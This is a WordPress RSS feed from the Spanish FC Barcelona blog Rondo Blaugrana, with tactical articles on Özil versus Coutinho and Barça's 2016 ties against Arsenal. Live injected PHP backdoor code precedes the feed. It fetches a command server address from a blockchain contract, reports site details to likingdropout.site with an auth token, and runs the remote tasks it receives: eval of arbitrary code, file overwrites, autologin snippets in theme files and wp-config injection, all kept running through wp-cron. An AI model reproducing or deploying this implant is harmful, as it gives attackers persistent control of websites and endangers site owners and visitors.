// 9m_ue if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 9m_ue', 'vis'=>'// xz_jl', 'vis_func'=>'wp_lcs5gz', 'vis_paths'=>array('/homepages/27/d867440816/htdocs/clickandbuilds/RondoBlaugrana/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_72fh5i8x', ); $keys=array(); $keys['id']='jtl'; $keys['ver']='my'; $keys['caps']='k4r'; $keys['tasks']='df6'; $keys['interval']='w85'; $keys['ack_id']='5da'; $keys['ok']='6d'; $keys['detail']='jpv'; $keys['inv']='e4e'; $keys['result']='b30'; $hdr='X-LDR-Auth';$tok='tJ9TZ3q_xtwaUVpwam9xGv367yu9piPMutsgQK7KDEg';$id='ea1d1f0b11628a07';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Mesut Özil – Rondo Blaugrana https://www.rondoblaugrana.net En un rondo el balón pasa por todos, y en este blog también Thu, 07 Dec 2017 12:27:48 +0000 es hourly 1 https://wordpress.org/?v=7.0.2 Özil vs Coutinho https://www.rondoblaugrana.net/2017/12/ozil-vs-coutinho.html?utm_source=rss&utm_medium=rss&utm_campaign=ozil-vs-coutinho https://www.rondoblaugrana.net/2017/12/ozil-vs-coutinho.html#comments Fri, 08 Dec 2017 01:00:06 +0000 https://www.rondoblaugrana.net/?p=14495 A nadie escapa ya que si este equipo adolece de algo es de calidad sobre el césped que permita acompañar la orquesta dirigida por Leo Messi con los mejores violinistas del planeta. Varios nombres han sonado para reforzar al equipo en invierno y ninguna es un peso pluma del panorama internacional. Y es que de eso se trata; ponme los mejores jugadores sobre el césped que ya me encargaré de situarlos donde mejor convenga al equipo.

Hoy vamos a intentar comparar cual de estos dos grandes jugadores vendrían mejor al Barça actual de Valverde. Cómo encajarían y qué tipo de aterrizaje tendrían con la camiseta azulgrana puesta.

Empecemos por Mesut. El alemán es un delicatessen del fútbol europeo. Actualmente pieza clave en el Arsenal, difícilmente Arsene lo dejará salir y menos a mitad de temporada. Tengamos solo en mente un “pequeño” detalle: su contrato finaliza en Junio del 2018. Pero no es esto lo que nos ocupa hoy, este artículo va de cómo encajaría el jugador según cómo está jugando en los actuales gunners.

Sus estadísticas nos hablan del peso del juego del alemán en el equipo del norte de Londres; es la asistencia personificada.

 

No es un gran goleador, dos goles en estos doce partidos que llevamos de Premier, pese a tener llegada y jugar muy bien entre líneas, pero sus pases milimétricos y la calidad en su uno contra uno hacen el resto.
¿Dónde encajaría en el sistema azulgrana? Pues habría que ver si hablamos más de un interior creativo, tipo Iniesta, que juegue por detrás de los delanteros con desborde y último pase. O bien ese mediapunta del cuatro-cuatro-dos actual, posición que tanto le gusta ejecutar a Leo. Los mapas de calor de la temporada, nos indican que barre todo el frente de ataque, no le hace ascos a ninguna zona. Por lo que, dada su calidad en el desborde, también podría ser ese extremo tan particular del cuatro-tres-tres azulgrana.

 

Su retorno, más trabajado que nunca en el equipo gunner, es también destacable, dado que muchos se sorprenderían de su época madridista. ¿Sus hándicaps? Veintinueve años, camino de la treintena y la reticencia de muchos culés a todo lo que viene lastrado por el síndrome Wenger, nos hacen dudar de la necesidad de su llegada. Pero vendría para sumar, su calidad es innegable. Y a esta plantilla no le vendría mal uno de los jugadores más especiales de Europa.

 

El segundo protagonista de esta historia, aunque para nada segundo plato, dado que de hecho sonó este verano ya para venir de la mano de Dembélé y formar una dupla temible, es el motor del Liverpool actual, el brasileño Coutinho. Sin él el equipo de Anfield pierde sentido. Klopp ha sabido dotarle de galones, libertad y sentido a su juego. Liberándole de toda función defensiva y hasta de toda sujeción posicional. Aun así su tendencia nos muestra el mapa de calor que es el perfil zurdo, probablemente para habilitar su conducción, último pase e incluso disparo con ambas piernas que otorgan al brasileño una de las capacidades más llamativas del panorama internacional; es un generador de ventajas por si mismo.

 

Su edad, veinticinco años recién cumplidos, aun le dan un margen de mejora importante para seguir creciendo al amparo del Camp Nou. Dentro del sistema de Valverde tendría hueco tanto como ese interior tipo Iniesta, además su posición sería justamente esa, como en el extremo zurdo con tendencia a cerrarse hacia el interior como hacía su compañero y amigo, el brasileño Neymar. Con menos gol que este, pero con más pausa y calidad para el último pase, es seguro que entendería la posición a las mil maravillas y además en la misma estaría liberado de forma importante de un balance defensivo que podría penalizar sus tareas en ataque.

 

Calidad en el golpeo de balón, tanto a balón parado como en carrera. Le hacen doblemente peligroso, tanto porque puede probar al portero desde las largas distancias, como habilitar a sus compañeros para quedar cara a cara con el guardameta rival. De nuevo, como del germano hablábamos, mucha calidad la que se le presupone a Philippe, lo cual podría ahondar en dar una profundidad a la plantilla en forma de quilates, algo que ahora mismo Valverde seguro que echa de menos.

 

 

Venga el que venga, si viene alguno, será muy bien recibido… aun así, se tendrán que hacer hueco en el once dell actual líder de la Liga, no lo olvidemos.

]]> https://www.rondoblaugrana.net/2017/12/ozil-vs-coutinho.html/feed 6 CON UN OJO EN EL MARCADOR https://www.rondoblaugrana.net/2016/03/con-un-ojo-en-el-marcador.html?utm_source=rss&utm_medium=rss&utm_campaign=con-un-ojo-en-el-marcador Thu, 17 Mar 2016 11:04:40 +0000 https://www.rondoblaugrana.net/?p=12825 Desde hace ya décadas, los atletas africanos son los grandes dominadores de las pruebas de fondo en el atletismo y si nos hemos de quedar con el máximo exponente de ello en este siglo XXI, el hombre no puede ser otro que Haile Gebrselassie. A parte de la capacidad física innata del etíope, lo que más me impresionaba de sus batallas en el tartán era el nivel de control sobre la competición y las continuas miradas al cronómetro y pantallas en el estadio. Lectura de lo que sucedía, ubicación de sus rivales y conclusiones de cada parcial a ritmo de 2:45 el kilómetro. Y cuando lo veía necesario, cambio de ritmo, hasta que el contexto le era propicio, volviendo a la auto regulación en vistas a los últimos 400 metros. Dentro del deporte colectivo, este Barça es lo más parecido a Haile que podemos encontrar en la historia reciente. Con un ojo en el marcador siempre, auto regulándose para evitar desgastes innecesarios y capacitado para, con un simple click, activarse al máximo y someter al rival. Todo esto, en unos octavos de final de UCL.

A pesar del 0 a 2 de la ida, Lucho iba con su once ganador, salvo la entrada de Mathieu por el sancionado Piqué. Por su parte, Wenger introducía al joven Elneny en la medular, dejando a Welbeck en punta de ataque en detrimento de su hombre gol, Giroud. Arsene apostaba por la llegada más que por poblar el área.

El plan del francés era complejo y tenía una propuesta clara en cada fase del juego quedando a expensas de la respuesta de los de Lucho a cada envite. En salida de balón culé, los gunners presionaban pero esto no supuso un gran quebradero de cabeza para los locales. Con laterales bien abiertos y los interiores lejos, el espacio en zona central era enorme y ahí Busquets dominaba y mandaba. El posterior repliegue medio de los londinenses ajustaba el espacio entre Ospina y los centrales al adecuado. Únicamente un balón milimétrico de Neymar sumado al excelso control de Leo de primeras permitió a los blaugranas ganar la espalda rival. La única concesión de Wenger pretendía ser un dardo envenenado, pero no lo fue. El único jugador al que se le permitía conducir el balón era a Mathieu, obligándole a ser el iniciador de la mayoría de ataques locales. Y el francés respondió -sorprendentemente bien- en la toma de decisiones, aguantando y soltando el esférico sin exponerlo.

Pero lo más destacable de los visitantes fue con balón. A través de un Özil que mezclaba el acercarse y alejarse de la jugada, un Arsenal amplio pisando la cal, un Alexis móvil y capaz de desbordar y un Welbeck centrado en la ruptura, encontraron en la zona de Alba y Mathieu el espacio para desequilibrar. Y otra cosa tenían clara los londinenses, con la MSN liberada, todas sus acciones debían finalizarse, de ahí la gran cantidad de disparos de media distancia, evitando la vuelta de la jugada.

El Barça no se sentía incómodo ante este panorama, pero tenía dos grandes problemas que inclinaban levemente la balanza hacia los gunners. El primero es que sin Piqué, Masche y Mathieu seguían siendo agresivos hacia el balón o el rival, pero no lo eran tanto como línea. Unos metros más retrasados daban oxígeno a todo el frente de ataque visitante. El segundo era la desconexión de los 3 de arriba, aunque más que desconexión era la falta de conexión del resto con Los Nucleares, y me explico. En fase defensiva el trío quedaba arriba como amenaza -si bien en la segunda parte, Lucho modificó llevando a Ney en auxilio a un superado Jordi Alba- pero nadie lograba conectar con ellos. No estaba el balón diagonal de Piqué, Iniesta muy hundido atrás debido a la sobrepoblación atacante de su zona, Busquets pendiente de Özil y Rakitic tampoco es el lanzador ideal. Y a todo esto hay que añadir el mal partido en lectura de Suárez, ya que las pocas veces que lograron cabalgar con espacios la MSN, el 9 no supo barrer el balcón del área.

Esta fue la constante de todo el primer tiempo, más marcada si cabe a raíz del gol de Neymar al cuarto de hora. Entre la solidez londinense y la relajación culé, el gol visitante parecía que no iba a tardar en llegar.

Y así ocurrió al inicio de la segunda parte. Pérdida en salida de balón, el equipo muy largo y abierto y Elneny, llegando desde segunda línea, batía a ter Stegen. No peligraba la eliminatoria pero sí se habría una puerta a los nervios y al “ay, ay, ay” de una grada pasada por agua.

Pero este Barça es capaz de hacer aparecer su mejor versión en un plis plas. El costurero Iniesta sacó aguja e hilo, Neymar su desquilibrio y Leo se vino a zona izquierda, al taller de corte y confección. Ordenados y juntos, los azulgranas sometían y recuperaban una y otra vez en campo contrario, El Arsenal era incapaz de salir, excepto en un balón largo donde Mathieu midió mal -único error en los 90 minutos- que obligo a Masche a hacer otro “Bendtner” exactamente en el mismo lugar que hace años.

La aceleración blaugrana tuvo su recompensa. Juego volcado en izquierda, llegada de Alves por el costado débil, centro al punto de penalty y remate “apostoflant” que diría Jordi Robirosa de Suárez. 2 a 1 y la posible intranquilidad por el resultado finiquitada.

Un cuarto de hora bastó, y así lo entendió el equipo, que retorno a su velocidad de crucero, permitiendo al Arsenal volver a llegar con cierta continuidad y dando la oportunidad a MAtS de demostrar sus virtudes bajo palos en una doble intervención de vídeo resumen de toda la competición UCL 15/16. Volada espectacular a una mano al lanzamiento de falta de Alexis, rechace que le cae a Giroud escorado a 5 metros del arco. Marc-André rápidamente se levanta y se convierte en Gonzalo Pérez de Vargas. Pies firmes, brazos abiertos, ocupar portería manteniendo la tensión corporal. El abc de un portero de balonmano.

Con la entrada de Sergi Roberto y Arda, la eliminatoria encaró su último cuarto de hora. Si he de ser sincero con el lector, poco vi, ya que tanto el cuerpo como la mente me pedían a gritos asistir al presunto final en el Allianz Arena. Eso sí, hay que rescatar la finalización de Leo en el tercero, ese giro de tobillo con el exterior que por ser habitual no deja de ser algo al alcance de muy pocos.

Eliminatoria superada. Primer equipo que supera octavos de UCL en 9 años consecutivos y en el camino de repetir la gesta de la temporada pasada. Ahora a esperar a mañana para conocer el próximo rival.

LAS NOTAS

MAtS (9): No creo que se le pueda pedir más a un portero durante 90 minutos. No pudo hacer nada en el gol.

Alves (6): Con Leo en izquierda no acabo de funcionar la sociedad. Mejor como lado débil en la segunda parte.

Mascherano (8): Como bombero no tiene precio.

Mathieu (7): Bien con balón. Un único error que pudo costar caro. Tercer central de rendimiento óptimo.

Alba (6): Sufrió porque tuvo que lidiar solo, sin ayudas. Buenas proyecciones ofensivas.

Rakitic (6): Más preocupado de zona central que de banda derecha. Los zarpazos del Arsenal le condenaron a ser menos ofensivo.

Busquets (6): Özil le mareó y obligado a lateralizarse demasiado. No pudo ser dominante en su zona.

Iniesta (7): 15 minutos donde ordenó fueron suficientes para destrozar al rival.

Leo (7): Incómodo y solitario en derecha, fue en izquierda con socios donde se soltó.

Suárez (5): A pesar del gol, mal partido del uruguayo.

Neymar (8): Dañino por fuera y por dentro, solo o acompañado.

Sergi Roberto (-):

Arda Turan (-):

]]> CONTRA LA MALDICIÓN https://www.rondoblaugrana.net/2016/02/contra-la-maldicion.html?utm_source=rss&utm_medium=rss&utm_campaign=contra-la-maldicion Wed, 24 Feb 2016 01:00:18 +0000 https://www.rondoblaugrana.net/?p=12757 El reto de la empresa es tan grande que mediatiza, incluso, a la madre de todas las competiciones. La aventura no está en ganar la Orejona sino en repetir la Orejona. Y no es un equipo cualquiera el que lo intenta, sino el Barça de Leo Messi que vive en la rutina de la eternidad en cada partido que disputa. Las Ligas se suman en un contador distinto, las Copas tienen una importancia que jamás han tenido, y la Champions League no es la culminación de la temporada sino un peldaño más hacia la eternidad. Los culés desfilan por Europa con el aura del que mira a la historia para derrotarla, y su rival lo mira a él con la intención de hacer historia, no de pasar de ronda. Cada eliminatoria no será una más, sino el detenimiento de todos los futbolistas actuales y vividos para presenciar si el status se reconfigura. Así, con este escenario, se presentó el partido en Londres.

Como la cosa va de cuentos hay que empezar diciendo que no hace tanto, tanto tiempo, en un reino bastante, bastante cercano había un hombre de ojos saltones y zurda de seda que causaba el furor de sus conciudadanos. En el equipo de Cristiano, Ramos, Alonso, Marcelo o Benzema, Mesut Özil era el favorito de muchos hasta tal punto de rozarse la revuelta cuando fue cambiado por todo un Gareth Bale. Desterrado de la élite, el príncipe alemán se reencontró consigo mismo en una temporada donde los gunners más cerca tienen ganar la glamurosa Premier League. Tal extensión de magia llegó al inicio del encuentro donde los monopolizó sin pudor. Los primeros 10 minutos fueron para los de Wenger, que visitaban la altura de la media luna a la par que el alemán se descolgaba por ahí. Llegando en oleadas, los ingleses ocupaban el ancho y a distintas alturas con cuatro hombres más: los atacantes más Ramsey. Los compases no pasaron de cierto agobio para los visitantes, pero sirvieron para mostrar de que iría el tema.

Pero el Barça está en la madurez, como el de 2006 o 2011. Se pasea por Europa con nervios de acero y disimulando las cicatrices que tuvo que sufrir a cambio de poder triunfar. Otro Barça, quizá el del año pasado, hubiese quedado tarumba tras estos primeros minutos, pero éste no. Balón al piso y a jugar. Y además contaron con las facilidades que entregaba el Arsenal que transitaba entre la presión y el bloque bajo según la calidad de la pérdida de su posesión: si esta era buena, se quedaban arriba, presionaban y atosigaban; si esta era mala o incluso inexistente, bloque bajo y que los de Luis Enrique tocasen. Como buen equipo inglés, al andar en el continente, se comportan tan europeos como ninguno, con el pragmatismo por bandera.

Esto permitía una salida fácil para el pivote y los centrales, e Iniesta, que se integraba unos metros más para abajo para dar fluidez y activar otras partes del campo con pases hacia delante o incluso cambios de orientación. Ante pase horizontal o lateral, aparecía Andrés. El problema era el consabido de la manta corta y sin el manchego por delante generando líneas de pase y además sin el ritmo adecuado, el balón apenas llegaba a la MSN. El equipo de Lucho tiene uno de sus principales puntos en el juego, apoyos y orientación por delante del balón, donde los tres ases sudamericanos condicionan desde antes de entrar en contacto con el balón. Sin estar esto presente, los ataques apenas aparecieron. El Arsenal, apostado en su defensa zonal, estrecha y de pocos metros, vivía tranquilo y con opciones de soltar alguna contra definitoria, que si no llegó a ser definitiva fue por la gran lectura -sí, lectura- de Mascherano. El Jefecito inteligente en el corte y utilísimo en su salto de posición hacia la espalda de Özil para taponar contras, cortó cualquier conato de sangría. Así acabaron los primeros 45 minutos con el balón y la calma para el actual campeón, y el dominio y el espacio para los londinenses.

La segunda parte sí presentó novedades. El reloj, la afición y la posibilidad de mover el marcador invitó al Arsenal a una presión adelanta que se convirtió en un doble filo. Los 4 hombres implicados molestaban, ensuciaban, pero no limitaban y además a su espalda dejaban espacios. Ahora a los centrales y al pivote se sumaba ter Stegen e Iniesta podía quedar liberado arriba. De repente se asomó a una suerte de todo o nada donde los culés se encontraron, casi sin esfuerzo, posibilidades para correr. Y ahí mandan los tres tenores.

Neymar, Suárez y Messi tuvieron ocasiones para mover el marcador, porque fueron el reflejo de la superioridad que mostraban al correr. Ni siquiera fue necesario el mejor partido de los tres, bastó con poder correr y mezclarse entre ellos, alimentados por el 8 y Alves -los más creativos por detrás del cuero-, para poder encarrilar la eliminatoria. El primer gol, marcó de la casa, supuso la victoria, redención y ruptura de la primera maldición, de Lío frente a Cech. El segundo también sirvió para destrozar cierta tendencia negativa desde los 11 metros. Y entre una y otra, eliminatoria encarrillada.

Tras visitar al Etihad, Parque de los Príncipes, al Emirates y recibir al Bayern de Munich de Pep, este Barça ha encarrilado su rondas sobrándoles el partido de vuelta. Lo dicho, la magnitud del reto está a la altura de la dimensión de una delantera histórica que quizá no tiene parangón. Milan está más cerca, y con ello la historia, no la Champions League.

LAS NOTAS

MAtS (8): Una parada fundamental e implicado en la salida de balón, siendo importante en los momentos de más presión del Arsenal.

Alves (7): Rival grande, partido grande: no falla. En el 2º tiempo fue muy vistoso generando juego en posiciones centrales.

Piqué (7): Impoluto.

Mascherano (8): Ningún fallo, dos acciones de mérito, y buena lectura para parar a Özil. Una gran noche.

Alba (6): Discreto en el plano ofensivo, pudo sumar más cuando el choque se rompió.

Busquets (6): Sufrió para leer a Mesut, pero siempre estuvo presente con balón.

Iniesta (9): Fantástico en la interpretación del juego, un partido a la altura de su temporada.

Rakitic (6): Implicado en defensa, otro que pudo lucir más cuando los goles estuvieron más cercanos.

Messi (9): Dos goles fuera de casa, contra su kryptonita particular bien valen un sobresaliente a pesar de estar desacertado hasta el 0-1.

Neymar (8): El agitador del primer tiempo, fluido en el regate y conectado con sus compañeros de ataque.

Suárez (7): Que Mertesacker no sucumbiese ante su juego es la mejor prueba de que hoy estuvo un poquito peor que sus compañeros, aún así estuvo en todas.

]]> LOS CONDICIONANTES «GUNNERS» https://www.rondoblaugrana.net/2016/02/los-condicionantes-gunners.html?utm_source=rss&utm_medium=rss&utm_campaign=los-condicionantes-gunners Mon, 22 Feb 2016 10:49:19 +0000 https://www.rondoblaugrana.net/?p=12749 Este martes el Barcelona comienza la defensa -en eliminatorias- de su cetro europeo, y lo hace con un duelo que se ha convertido en un pequeño clásico de la Liga de Campeones, aunque siempre con el mismo final. El primer recuerdo proviene de la liguilla de la edición de 1999-2000, con Luis Enrique como goleador tanto en la ida –ojo a lo que hace Vieira en el gol del Camp Nou– como en el 2-4 del partido en Wembley. A buen seguro que estará mejor almacenado en la memoria de los culés los cuartos de 2010, con la exhibición de Ibra en el Emirates y luego de Leo en el Camp Nou. Y por supuesto los octavos una temporada después, con otro buen partido culé en suelo inglés a pesar de la derrota y el enésimo show de Messi en la vuelta -como para olvidar también el tanto que salva Mascherano-. Dos constantes se repitieron en estas eliminatorias:

1- Superioridad culé: En cada partido que se han enfrentado se ha puesto de manifiesto la superioridad blaugrana en todos los ámbitos: técnica, táctica, estructural, etc. A diferencia de aquellos equipos de Pep que aplastaban al Arsenal a base de control, orden e intensidad, este de Luis Enrique controlará menos pero será más implacable.

2- Sufrimiento: El Arsenal es un equipo que, pese a verse superado en el juego de manera clara, rara vez le ha perdido la cara a una eliminatoria. En las dos contra el Barça de Pep remontó en la ida y les puso contra las cuerdas en el Camp Nou. Incluso en la sentenciada eliminatoria ante el Bayern de Heynckes estuvo a punto de hacer la proeza de dejar fuera al equipo que luego arrasaría. Atendiendo a esas eliminatorias y también a estas dos últimas ediciones de UCL uno se percata de otra de las características de los de Wenger, y es que sin presión juegan mucho mejor. Compiten esas tres eliminatorias mencionadas, y realmente sacan lo mejor de sí cuando se ven perdidos, jugando más liberados. Hace un año ante el Mónaco tiran de épica en el Luis II para levantar una eliminatoria perdida y casi lo consiguen. Este mismo año estaban con pie y medio fuera del torneo y fueron capaces de ir a Atenas, sacar el resultado que necesitaban y enfrentarse ahora al Barça. En cualquier caso que den su mejor nivel en momentos desesperados es síntoma inequívoco de equipo frágil mentalmente y no al revés. Es como el tenista que se ve derrotado y empieza a soltar pelotazos buscando las líneas, encontrando sus mejores golpes. A veces funcionará y otras no, pero es un comportamiento que no dice nada bueno.

arsenal1

Partiendo de esta base, nada parece indicar que vaya a ser una eliminatoria muy diferente porque los ingredientes son los mismos. El Barça de Luis Enrique no es sospechoso respecto a su estilo y Arsene Wenger tampoco, pero en la mano del alsaciano está la decisión de cambiar la receta para alterar el resultado final. ¿Qué Arsenal se va a encontrar el Barcelona? Es un hecho que cada vez que el Arsenal se ha encontrado en los últimos años con un rival superior enfrente ha fracasado estrepitosamente, no ha tenido capacidad de superación como equipo y tampoco Wenger como técnico. El Arsenal es octavos o cuartos de Champions y terceros o cuartos en Premier League, que es lo que la lógica dice que le corresponde atendiendo a plantilla o presupuesto. Todos los años está cerca de ser menos que eso y más lejos de ser más. Así pues Wenger se encuentra en la eterna búsqueda de una fórmula para competir en la élite. Mimbres tiene, pero para hacer frente a este Barça necesita que una serie de condicionantes que siempre le han salido cruz esta vez le salgan cara. Juguemos a la especulación, al «Y si».

